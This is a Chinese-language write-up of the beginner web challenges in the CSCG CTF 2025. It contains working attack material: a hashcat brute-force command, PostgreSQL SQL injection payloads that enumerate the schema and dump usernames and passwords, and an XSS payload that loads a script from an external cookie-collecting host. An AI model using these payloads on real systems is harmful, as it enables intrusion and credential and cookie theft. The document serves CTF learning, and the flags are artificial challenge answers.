CSCG CTF 2025 writeups【持续更新】
赛事信息
- 赛事描述:https://ctftime.org/event/2588
- 赛事网址:https://play.cscg.live/
- 个人比赛,无权重,随便抽空看两个,有空就更新
- 面向从新手开始的比赛
web
Intro Web 1
flag 第一段在html注释里CSCG{ImgAvH8w5
flag第二段在js中1a7364a71
flag第三段在响应头中VdGb98br}
flag: CSCG{ImgAvH8w51a7364a71VdGb98br}
Intro Web 2
根据提示修改useragent为windows 95,然后得到flag一部分:CSCG{l9jj550K
提示用post请求,但没给post的参数,推测post参数为filename,提示请求flag.txt,然后出一部分flag:UaT0BVvk
用GET传递参数,拿到flag一部分:Q9Z39J9A
在第一次点击最后一个认证的时候,服务器会重定向到一个burn-after-reading-6237725.php?authorized=false。页面,这时候我们要更改为true才可以。最后一段flag:W4at6R2B}
flag:CSCG{l9jj550KUaT0BVvkQ9Z39J9AW4at6R2B}
Intro Web 3
这个题第一关,刚开始理解错了,以为要爆破哈希,发现最后爆不出来,才考虑到其他方法,所以记录一下错误示例。
通过爆破,拿到sha256哈希1次的值,然后爆破,flag格式是CSCG{xxx},所以用工具爆破
sha256(flag) =47a916af6fdd6c7c0d6e2a9cfb33a0b1755a207e3d76b738300a2b85c4b5261c
使用 hashcat 掩码爆破的方法
hashcat -m 1400 -a 3 -1 ?d?l?u_ 47a916af6fdd6c7c0d6e2a9cfb33a0b1755a207e3d76b738300a2b85c4b5261c CSCG{?1?1?1?1?1?1?1?1 --increment --force
-1是自定义掩码(?d是数字类型,?l是小写字母,?u是大写字母,再补充个下划线)
-m 1400 是sha256模式
-a 3 是掩码模式
爆破半小时还出不来,因为只知道前几位,但不知道总长度
下边是参考解答:
- 漏洞点:类型验证绕过
- 代码仅检查 chosenNumber 是否为 string 类型,但未处理其他非数字类型(如数组)。
- 验证逻辑缺陷:
- 若 chosenNumber 是空数组 [],Math.min([], randomNumber) 会强制类型转换为 0,导致 iterations = 0。
- 类型转换漏洞:
- 空数组 [] 转换为数字时为 0。
flag第一部分 CSCG{Q8oIoy3P
第二部分
我在尝试sql注入的时候,使用了or 1=1 --
的经典payload,而服务器返回了iwasfirstlol,而不是我的用户名,这让我确信存在sql注入
当我使用堆叠注入的时候,我获得了如下的信息username=admin&password=smart123'; select version();--
- 空数组 [] 转换为数字时为 0。
- 查模式名
在postgresql中也存在information_schema表
select current_schema()
select schemaname from pg_tables
select schema_name from information_schema.schemata
2. 查表名
select tablename from pg_tables where schemaname='public'
select table_name from information_schema.tables where table_schema='public'
3. 查字段名
select column_name,data_type from information_schema.columns where table_name='users'
select attname,typname from pg_attribute b JOIN pg_class A ON A.oid = b.attrelid JOIN pg_type C ON C.oid = b.atttypid JOIN pg_namespace d ON A.relnamespace = d.oid WHERE b.attnum > 0 AND A.relname = 'users';--
# 上述第二个命令展开如下
SELECT
attname,typname
FROM
pg_attribute b
JOIN pg_class A ON A.oid = b.attrelid
JOIN pg_type C ON C.oid = b.atttypid
JOIN pg_namespace d ON A.relnamespace = d.oid
WHERE
b.attnum > 0 AND A.relname = 'users'
4. 查数据
在postgresql中没有group_concat函数,如果需要将大量数据一起查出来的话可以用string_agg和array_agg两个函数:
select string_agg(id||','||username||','||password, ',') from users
select array_to_string(array_agg(id||','||username||','||password), ',') from users
如上图所示,我们拿到了所有用户的用户名和密码,其中有admin的账号和密码,admin,superadminpasswordunguessable123,然后拿着这个账号密码登录即可获得flag的第二部分
flag part2:s956Uwvv
第三部分
当我在留言板输入,script>alert(3)</script>
的时候,目标有弹窗,说明存在xss注入问题
然后我找了一个在线网站,xss平台可以接收cookie的,并嵌入了恶意代码,<sCRiPt sRC=//xs.pe/Vro></sCrIpT>
在这里我们看到了,第三段flag,WIfJAzNs}
flag: CSCG{Q8oIoy3Ps956UwvvWIfJAzNs}